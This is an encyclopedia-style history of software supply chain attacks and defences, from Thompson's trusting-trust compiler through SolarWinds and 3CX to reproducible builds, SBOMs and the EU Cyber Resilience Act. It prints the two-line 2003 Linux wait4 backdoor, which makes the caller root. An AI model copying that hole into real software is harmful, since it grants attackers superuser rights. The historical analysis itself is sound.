Software Supply Chain Security

Abstract

A modern program is mostly other people’s code: libraries pulled from public registries, compilers, build servers, update channels and signing keys, each trusted because the one before it was. An attacker who compromises any link reaches every user downstream at once, with a signed and legitimate-looking update. Ken Thompson described the extreme case in 1984, a compiler that inserts a backdoor into the programs it compiles. The real attacks came later and were mostly simpler: a tampered CVS mirror of the Linux kernel in 2003, a poisoned CCleaner download in 2017 that reached 2.27 million machines, a volunteer-maintained npm package handed to a stranger in 2018, and the SolarWinds Orion build server in 2019 and 2020, whose updates were installed by about 18,000 customers. The defences that followed, reproducible builds, software bills of materials, signed provenance and the EU’s Cyber Resilience Act, all try to answer one question: where did this binary actually come from?

Trusting Trust

In his 1984 Turing Award lecture, Reflections on Trusting Trust, Ken Thompson described a C compiler modified to recognise two programs. When it compiled the Unix login command it inserted a backdoor accepting a secret password. When it compiled a C compiler, it inserted both of these modifications into the new compiler. Once the modified compiler binary existed, the source code could be cleaned, and every future compiler built from clean source would still carry the trap. “You can’t trust code that you did not totally create yourself,” Thompson concluded. “(Especially code from companies that employ people like me.)” The idea was not his; he credited “an unknown Air Force document,” which was Paul Karger and Roger Schell’s 1974 security evaluation of Multics (see Paul Karger: Mr. High Assurance).

Thompson’s attack lived in the toolchain. Its lesson, that inspecting source code proves nothing about a binary produced by tools nobody inspected, became the founding problem of supply chain security. For the next three decades it was mostly a thought experiment.

The Mirror

The first well-documented attempt on a major open-source project came in November 2003. Linux kernel development then ran on BitKeeper, a proprietary version control system, and a CVS mirror was kept for developers who refused to use it. Larry McVoy, BitKeeper’s author, noticed that a change to the CVS copy had no matching record in the BitKeeper master. It added two lines to the wait4 system call that looked like an error check:

if ((options == (__WCLONE|__WALL)) && (current->uid = 0))
        retval = -EINVAL;

The second comparison has one equals sign where two belong. It does not test whether the caller is root; it makes the caller root. A program that called wait4 with that unusual combination of flags would gain superuser rights. Someone had broken into the CVS server and planted it. Because the change existed only in the mirror, it was caught before it reached the real kernel tree. The attacker was never identified.

Poisoned Updates

For criminal and state attackers the update channel was more attractive than source code. A software vendor’s update is downloaded automatically, signed with the vendor’s key and trusted by antivirus programs. Between 15 August and 12 September 2017 the official download of CCleaner version 5.33, a Windows clean-up utility published by Piriform, which Avast had just bought, contained a backdoor. The installer carried Piriform’s valid digital signature. 2.27 million users downloaded it. The first stage reported each machine’s name, IP address and installed software to a server and could install a second stage. Cisco’s Talos group found it.

Three months earlier the same method had been used as a weapon. On 27 June 2017 an update to M.E.Doc, accounting software that Ukrainian companies needed to file taxes, delivered NotPetya, a wiper disguised as ransomware that then spread worldwide on its own and caused an estimated $10 billion in damage (see The History of Cyberwar).

The Volunteer Who Handed Over

Open-source package registries added a new link to the chain: maintainers nobody had vetted. In 2018 Dominic Tarr, the author of event-stream, a small Node.js library installed millions of times a week, no longer used it himself. A user calling himself right9ctrl offered to take over, and Tarr gave him publishing rights. right9ctrl then released version 3.3.6, which added a new dependency, flatmap-stream. Its encrypted payload did nothing in almost every program that included it. It activated only when built into Copay, a bitcoin wallet app from BitPay, where it tried to steal the private keys of wallets holding large balances. A computer science student, Ayrton Sparling, reported it on GitHub on 20 November 2018, more than two months after release. BitPay said Copay versions 5.0.2 to 5.1.0 were affected.

Tarr explained himself in the GitHub thread two days later: “he emailed me and said he wanted to maintain the module, so I gave it to him. I don’t get any thing from maintaining this module, and I don’t even use it anymore, and havn’t for years.” The same pattern, a tired volunteer and a helpful stranger, recurred in 2024 with xz Utils (see Volunteer-Maintained Infrastructure).

In February 2021 the security researcher Alex Birsan showed that no maintainer needed to be fooled at all. Companies used internal packages with names like internal-auth and installed them with the same tools that fetched public packages. If a public registry held a package with the same name and a higher version number, many build systems took the public one. Birsan uploaded harmless packages under the names of internal packages he had found mentioned in public code, and they ran inside more than 35 organisations, including Apple, Microsoft and PayPal. He called the technique dependency confusion and collected more than $130,000 in bug bounties for it.

SolarWinds

The attack that made the subject a matter of national policy went through a build server. SolarWinds of Austin, Texas sold Orion, network-monitoring software used by about 33,000 customers, many of them government agencies, with administrator access to the networks it watched. No later than September 2019, intruders established themselves in SolarWinds’s software development environment. In October they made a harmless test change to Orion. From around February 2020 (its build timestamp reads 20 February) they ran an implant that CrowdStrike later named SUNSPOT on the build server. It checked every second whether Visual Studio’s MSBuild was compiling Orion, and if so, swapped one source file, InventoryManager.cs, for a version containing a backdoor, SUNBURST, then restored the original once the build finished so the developers’ own source tree never showed the change. The compiled Orion was signed with SolarWinds’s certificate, as always, and released in versions 2019.4 to 2020.2.1 between March and June 2020.

About 18,000 customers installed a compromised version. SUNBURST stayed dormant for up to two weeks after installation, then contacted its servers with traffic disguised as Orion’s own Improvement Program protocol; the attackers chose a small fraction of the infected networks for further intrusion. The victims included the Treasury, Commerce, Justice and Energy departments, the courts’ document system and the security company FireEye, which on 8 December 2020 announced that its own penetration-testing tools had been stolen. Investigating its own breach, FireEye traced the intrusion to Orion and published the finding on 13 December, the day the breaches at Treasury and Commerce were confirmed. The Cybersecurity and Infrastructure Security Agency issued an emergency directive the same day ordering federal agencies to disconnect SolarWinds products. The U.S. government attributed the operation to Russia’s foreign intelligence service, the SVR, on 15 April 2021.

The SolarWinds attack was Thompson’s scenario with a build server in place of a compiler. Anyone auditing Orion’s source code would have found nothing, because the backdoor existed only for the minutes in which the code was compiled.

The Chain Gets Longer

The incidents of 2021 to 2023 showed how many links there were. From 31 January 2021 an attacker modified Codecov’s Bash Uploader, a script that thousands of companies downloaded and ran inside their build pipelines to report test coverage, so that it sent the build’s environment variables, often full of credentials, to an outside server. A customer noticed on 1 April that the script’s checksum no longer matched the one published on GitHub. On 2 July 2021 the ransomware group REvil used the remote-management product Kaseya VSA to encrypt about 1,000 companies through roughly 60 IT service providers that used it (see The Ransomware Epidemic).

In March 2023 the desktop app of 3CX, a business phone system, turned out to have been trojanised in its build. Mandiant traced the intrusion to a 3CX employee who had installed X_TRADER, discontinued trading software whose installer had itself been tampered with on its maker’s website. It was the first case Mandiant had seen of one software supply chain attack leading to another. Mandiant attributed both to a group linked to North Korea.

Countermeasures

The defences fall into three groups, each aimed at a different link.

Reproducible builds answer Thompson. If any two people building the same source with the same tools get bit-for-bit identical binaries, a binary can be checked by rebuilding it independently, and a compromised build server, like SolarWinds’s, produces a binary that does not match. Bitcoin’s developers built the first practical tool for it, Gitian, in 2011, so that users could trust a downloaded wallet. Mike Perry of the Tor Project made the Tor Browser build reproducibly in 2013, and that July Jérémy Bobbio (Lunar) organised a discussion at DebConf13 that started the effort to make Debian reproducible. It took years: compilers embed timestamps, file orders and build paths, and every one of those had to be removed. The answer to Thompson’s compiler problem specifically had been published in 2005 by David A. Wheeler, whose “diverse double-compiling” builds a compiler with a second, independent compiler and compares the results.

Software bills of materials answer the question of what is inside. An SBOM is a machine-readable list of every component in a product and its version, so that when a flaw such as Log4Shell is published, an operator can find every affected system at once instead of asking every vendor. U.S. Executive Order 14028 of 12 May 2021, written in response to SolarWinds, ordered security guidance for software sold to the federal government that includes giving the purchaser an SBOM for each product; the National Telecommunications and Information Administration published the minimum elements on 12 July 2021 (see Secure by Design).

Signed provenance answers the question of where a binary came from. Google introduced SLSA, a graded set of requirements for build integrity, on 16 June 2021, and the Linux Foundation’s Sigstore project, announced on 9 March 2021 with Red Hat, Google and Purdue University as founding members, made it practical for open-source projects to sign releases without managing long-lived private keys.

The European Union went further and wrote supply chain duties into product law. The Cyber Resilience Act, Regulation (EU) 2024/2847, entered into force in December 2024. Manufacturers of products with digital elements must report actively exploited vulnerabilities from September 2026 and meet the full security requirements, including documentation of the components they use, from 11 December 2027. After protests from open-source developers, volunteers who do not commercialise their code were left out of scope, and foundations that support commercially used open-source projects were given a lighter category of “open-source software steward.”

Dead End: Trust the Signature

For most of the period the industry’s answer to tampering was code signing: a vendor signs its binaries, the operating system checks the signature, and anything with a valid signature from a known vendor is trusted. The 2017 CCleaner installer, the 2020 Orion updates and the 3CX desktop app were all signed with their makers’ genuine certificates. The signatures were correct. They proved that the binary came from the vendor’s build system, and the build system was where the attacker was.

Signing protected the last few metres of the chain, from the vendor’s server to the customer, and said nothing about what had happened inside the vendor. The responses after 2020 move the check earlier: reproducible builds compare a binary against an independent rebuild, and provenance attestations record which source and which build produced it, so that a signature says more than that the vendor’s key was used.